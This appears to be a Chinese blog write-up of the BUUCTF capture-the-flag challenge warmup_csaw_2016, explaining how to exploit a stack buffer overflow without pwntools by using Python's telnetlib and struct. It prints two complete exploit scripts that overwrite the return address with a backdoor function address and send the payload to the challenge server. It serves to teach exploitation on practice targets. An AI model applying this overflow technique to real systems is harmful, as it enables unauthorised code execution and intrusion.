没有pwntools怎么做pwn?
例题是BUUCTF的warmup_csaw_2016
为何要练习脱手pwntools,pwntools不香吗???那当然是比赛的主办方脑残
无pwntools查看保护已经在上一章讲过(无pwntools时如何查看保护 - LY牟 - 博客园 (cnblogs.com)),这次直接上题目

这是一道很简单的题目,先扔到kali看一下基本信息
没有开PIE且是一个64位的程序,那么上IDA!

没有发现__stack_chk_fail函数,那么他也莫得canary,并且发现了后门函数sub_40060D


去瞅一瞅main函数,溢出点非常明显

查看V5的栈空间,加偏移一共是0x48的大小


这道题如果使用pwntools来写exp的话非常的简单,如下:
from pwn import* tel=remote('node4.buuoj.cn',27103) payload=b'a'*0x48+p64(0x40060D) tel.sendline(payload) tel.interactive()
那么问题来了,如果没有pwntools该如何进行发包接收呢?
诶嘿~
我们需要用到两个模块
telnetlib和struct这俩都是python自带的内置模块,所以可以完美解决无pwntools的问题
无pwntools只是那其他的函数进行代替,并没有多么的难,重点还是在对题目的理解上,习惯就好
这,就是无pwntools的exp!!!
import telnetlib
import struct
def p64(addr):#定义p64函数
return struct.pack("L",addr)# 小写是封装有符号,大写封装无符号
def u64(addr):
return struct.unpack("L",addr)[0]
tel=telnetlib.Telnet('node4.buuoj.cn',27103)#等效于remote
addr=('0x40060D')#后门函数地址
addr=int(addr,16)
payload=b'a'*0x48+p64(addr)
tel.write(payload)#等效于.sendline()
tel.read_until(':')#等效于.recvuntil(':')
tel.interact()

浙公网安备 33010602011771号